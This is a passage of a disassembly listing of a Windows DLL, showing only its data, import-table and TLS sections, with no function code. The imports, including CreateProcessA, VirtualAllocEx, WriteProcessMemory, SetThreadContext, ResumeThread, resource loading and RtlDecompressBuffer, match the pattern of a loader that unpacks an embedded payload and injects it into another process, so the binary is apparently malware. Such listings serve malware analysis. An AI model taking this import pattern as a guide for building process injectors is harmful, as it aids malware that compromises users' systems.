off_1000A5F4	dd offset off_1000A5F4	; DATA XREF: sub_10001788+7Fo
					; BSS:off_1000A5F4o ...
off_1000A5F8	dd offset off_1000A5F4	; DATA XREF: sub_10001D80:loc_10001D90r
		align 10h
off_1000A600	dd offset off_1000A5F4	; DATA XREF: sub_10001788+89w
					; sub_1000192C+1r ...
dword_1000A604	dd 7FC0h		; DATA XREF: sub_10001C1Cr
					; sub_10001C1C+9r ...
dword_1000A608	dd 8D403Ch		; DATA XREF: sub_10001C1C+26r
					; sub_10001C1C+2Er ...
dword_1000A60C	dd 1439B8h		; DATA XREF: sub_10001788+58w
					; sub_10001788+5Dr ...
dword_1000A610	dd 144FCCh		; DATA XREF: sub_10001788+42o
					; sub_1000184C+81o ...
		dd 144FCCh, 2 dup(0)
dword_1000A620	dd 0			; DATA XREF: sub_10002DBC+6o
					; sub_10002F18+Do ...
dword_1000A624	dd 12FFB4h		; DATA XREF: sub_10002D74+17w
					; sub_10002D94+2r
off_1000A628	dd offset dword_10007830 ; DATA	XREF: sub_10002E1C+6r
					; sub_10002E7C+14w
dword_1000A62C	dd 9			; DATA XREF: sub_10002E1C+2Cw
					; sub_10002E7C+1Bw
off_1000A630	dd offset dword_10008088 ; DATA	XREF: sub_10002E7C+20w
		dd 6 dup(0)
dword_1000A64C	dd 0			; DATA XREF: CODE:10003490o
byte_1000A650	db 0			; DATA XREF: sub_10003628r
		align 4
dword_1000A654	dd 10000000h		; DATA XREF: sub_10003674+11w
					; sub_10003674+16r
dword_1000A658	dd 0FFFFFFFFh		; DATA XREF: CODE:100036C9w
					; CODE:100036E8w
dword_1000A65C	dd 0			; DATA XREF: sub_10003628:loc_10003657r
dword_1000A660	dd 0FFFFFFFFh		; DATA XREF: CODE:10003701w
					; CODE:10003720w
dword_1000A664	dd 0FFFFFFFFh		; DATA XREF: CODE:100037B1w
					; CODE:100037D0w
dword_1000A668	dd 0FFFFFFFFh		; DATA XREF: CODE:10003871w
					; CODE:10003890w
dword_1000A66C	dd 0FFFFFFFFh		; DATA XREF: CODE:10003D81w
					; CODE:10003DA0w
dword_1000A670	dd 0FFFFFFFFh		; DATA XREF: CODE:10006B3Dw
					; CODE:10006B5Cw
dword_1000A674	dd 0FFFFFFFFh		; DATA XREF: CODE:10007239w
					; CODE:10007258w
dword_1000A678	dd 82000Ch		; DATA XREF: CODE:100078ACo
					; CODE:100078BBr ...
		db 0
BSS		ends

; Section 4. (virtual address 0000B000)
; Virtual size			: 000004D8 (   1240.)
; Section size in file		: 000004D8 (   1240.)
; Offset to raw	data for section: 0000B000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata		segment	para public 'DATA' use32
		assume cs:_idata
		;org 1000B000h
		dd 3 dup(0)
		dd 0B15Ch, 0B08Ch, 3 dup(0)
		dd 0B2FAh, 0B0E8h, 3 dup(0)
		dd 0B332h, 0B0F8h, 3 dup(0)
		dd 0B372h, 0B108h, 3 dup(0)
		dd 0B3BEh, 0B11Ch, 3 dup(0)
		dd 0B4B8h, 0B154h, 5 dup(0)
dword_1000B08C	dd 77F53275h		; DATA XREF: sub_100010F4r
dword_1000B090	dd 77F7E300h		; DATA XREF: sub_100010ECr
dword_1000B094	dd 77F7E21Fh		; DATA XREF: sub_100010E4r
dword_1000B098	dd 77E79908h		; DATA XREF: sub_100010DCr
dword_1000B09C	dd 77E79E34h		; DATA XREF: sub_100010D4r
dword_1000B0A0	dd 77E7980Ah		; DATA XREF: sub_100010CCr
dword_1000B0A4	dd 77E79A45h		; DATA XREF: sub_100010C4r
dword_1000B0A8	dd 77E79881h		; DATA XREF: sub_100010BCr
dword_1000B0AC	dd 77E7C486h		; DATA XREF: sub_10001090r
dword_1000B0B0	dd 77E77CC4h		; DATA XREF: sub_10001088r
dword_1000B0B4	dd 77E77F21h		; DATA XREF: sub_10001068r
dword_1000B0B8	dd 77E6177Ah		; DATA XREF: sub_10001060r
dword_1000B0BC	dd 77E7A099h		; DATA XREF: sub_10001058r
dword_1000B0C0	dd 77E7513Ch		; DATA XREF: sub_10001050r
dword_1000B0C4	dd 77E7C938h		; DATA XREF: sub_10001048r
dword_1000B0C8	dd 77E80618h		; DATA XREF: sub_10001040r
dword_1000B0CC	dd 77E75CB5h		; DATA XREF: sub_10001030r
dword_1000B0D0	dd 77E79D8Ch		; DATA XREF: sub_10001020r
dword_1000B0D4	dd 77EB9A84h		; DATA XREF: sub_10001018r
dword_1000B0D8	dd 77F6183Eh		; DATA XREF: sub_10001010r
dword_1000B0DC	dd 77E6D706h		; DATA XREF: sub_10001008r
dword_1000B0E0	dd 77E79C3Dh		; DATA XREF: sub_10001000r
		align 8
dword_1000B0E8	dd 77D6E1D6h		; DATA XREF: sub_10002830r
dword_1000B0EC	dd 77D6ADD7h		; DATA XREF: sub_10001038r
dword_1000B0F0	dd 77D472ECh		; DATA XREF: sub_10001028r
		align 8
dword_1000B0F8	dd 77DD23D7h		; DATA XREF: sub_10001080r
dword_1000B0FC	dd 77DD22EAh		; DATA XREF: sub_10001078r
dword_1000B100	dd 77DD189Ah		; DATA XREF: sub_10001070r
		align 8
dword_1000B108	dd 77E79B39h		; DATA XREF: sub_100035C8r
dword_1000B10C	dd 77E78B61h		; DATA XREF: sub_100035C0r
dword_1000B110	dd 77E79881h		; DATA XREF: sub_100035B8r
dword_1000B114	dd 77E79F93h		; DATA XREF: sub_100035B0r
		dd 0
dword_1000B11C	dd 77E61A90h		; DATA XREF: sub_10003788r
dword_1000B120	dd 77E79824h		; DATA XREF: sub_10003780r
dword_1000B124	dd 77E7980Ah		; DATA XREF: sub_10003778r
dword_1000B128	dd 77E7105Fh		; DATA XREF: sub_10003770r
dword_1000B12C	dd 77EB9953h		; DATA XREF: sub_10003768r
dword_1000B130	dd 77E6E154h		; DATA XREF: sub_10003760r
dword_1000B134	dd 77E61A54h		; DATA XREF: sub_10003758r
dword_1000B138	dd 77E7C931h		; DATA XREF: sub_10003750r
dword_1000B13C	dd 77E760B5h		; DATA XREF: sub_10003748r
dword_1000B140	dd 77E97F16h		; DATA XREF: sub_10003740r
dword_1000B144	dd 77E79F93h		; DATA XREF: sub_10003738r
dword_1000B148	dd 77E6CA8Ah		; DATA XREF: sub_10003730r
dword_1000B14C	dd 77E61BB8h		; DATA XREF: sub_10003728r
		dd 0
dword_1000B154	dd 77FA44C8h		; DATA XREF: sub_100037D8r
		dd 0
aKernel32_dll	db 'kernel32.dll',0
		align 4
aDeletecritical	db 'DeleteCriticalSection',0
		align 4
aLeavecriticals	db 'LeaveCriticalSection',0
		align 4
aEntercriticals	db 'EnterCriticalSection',0
		align 4
aInitializecrit	db 'InitializeCriticalSection',0
		align 10h
aVirtualfree	db 'VirtualFree',0
		dd 69560000h, 61757472h, 6C6C416Ch, 636Fh, 6F4C0000h, 466C6163h
		dd 656572h, 6F4C0000h, 416C6163h, 636F6C6Ch, 0
aGetversion	db 'GetVersion',0
		align 4
		dd 65470000h, 72754374h, 746E6572h, 65726854h, 64496461h
		dd 0
aGetthreadlocal	db 'GetThreadLocale',0
		dd 65470000h, 61745374h, 70757472h, 6F666E49h, 41h, 4D746547h
		dd 6C75646Fh, 6C694665h, 6D614E65h, 4165h, 65470000h, 636F4C74h
		dd 49656C61h, 416F666Eh, 0
aGetcommandline	db 'GetCommandLineA',0
		dd 72460000h, 694C6565h, 72617262h, 79h, 74697845h, 636F7250h
		dd 737365h, 72570000h, 46657469h, 656C69h, 6E550000h, 646E6168h
		dd 4564656Ch, 70656378h, 6E6F6974h, 746C6946h, 7265h, 74520000h
		dd 776E556Ch, 646E69h, 61520000h, 45657369h, 70656378h
		dd 6E6F6974h, 0
aGetstdhandle	db 'GetStdHandle',0
		align 2
aUser32_dll	db 'user32.dll',0
		align 4
aGetkeyboardtyp	db 'GetKeyboardType',0
		dd 654D0000h, 67617373h, 786F4265h, 41h, 72616843h, 7478654Eh
		dd 64610041h, 69706176h, 642E3233h, 6C6Ch, 65520000h, 65755167h
		dd 61567972h, 4565756Ch, 4178h,	65520000h, 65704F67h, 79654B6Eh
		dd 417845h, 65520000h, 6F6C4367h, 654B6573h, 656B0079h
		dd 6C656E72h, 642E3233h, 6C6Ch,	6C540000h, 74655373h, 756C6156h
		dd 65h,	47736C54h, 61567465h, 65756Ch, 6F4C0000h, 416C6163h
		dd 636F6C6Ch, 0
aGetmodulehandl	db 'GetModuleHandleA',0
		align 2
aKernel32_dll_0	db 'kernel32.dll',0
		align 4
		dd 72570000h, 50657469h, 65636F72h, 654D7373h, 79726F6Dh
		dd 0
aVirtualallocex	db 'VirtualAllocEx',0
		align 4
		dd 69560000h, 61757472h, 6C6C416Ch, 636Fh, 69530000h, 666F657Ah
		dd 6F736552h, 65637275h, 0
aSetthreadconte	db 'SetThreadContext',0
		align 4
aResumethread	db 'ResumeThread',0
		align 4
aReadprocessmem	db 'ReadProcessMemory',0
		align 10h
aLockresource	db 'LockResource',0
		align 10h
aLoadresource	db 'LoadResource',0
		align 10h
aGetthreadconte	db 'GetThreadContext',0
		align 4
aGetmodulehan_0	db 'GetModuleHandleA',0
		align 4
aFindresourcea	db 'FindResourceA',0
		align 4
aCreateprocessa	db 'CreateProcessA',0
		align 4
aNtdll_dll	db 'ntdll.dll',0
		align 4
aRtldecompressb	db 'RtlDecompressBuffer',0
_idata		ends

; Section 5. (virtual address 0000C000)
; Virtual size			: 00000008 (	  8.)
; Section size in file		: 00000008 (	  8.)
; Offset to raw	data for section: 0000C000
; Flags	C0000000: Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Regular
; Segment permissions: Read/Write
_tls		segment	para public '' use32
		assume cs:_tls
		;org 1000C000h
		assume es:nothing, ss:nothing, ds:CODE,	fs:nothing, gs:nothing
TlsStart	dd 2 dup(0)		; DATA XREF: .rdata:TlsDirectoryo
_tls		ends

; Section 6. (virtual address 0000D000)
; Virtual size			: 00000018 (	 24.)
; Section size in file		: 00000018 (	 24.)
; Offset to raw	data for section: 0000D000
; Flags	50000040: Data Shareable Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_rdata		segment	para public 'DATA' use32
		assume cs:_rdata
		;org 1000D000h
TlsDirectory	dd offset TlsStart
TlsEnd_ptr	dd 1000C008h
TlsIndex_ptr	dd offset TlsIndex
TlsCallbacks_ptr dd offset TlsSizeOfZeroFill
TlsSizeOfZeroFill dd 0			; DATA XREF: .rdata:TlsCallbacks_ptro
TlsCharacteristics dd 0
_rdata		ends

; Section 9. (virtual address 00023000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00022200
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 10023000h
		align 2000h
_idata2		ends


		end start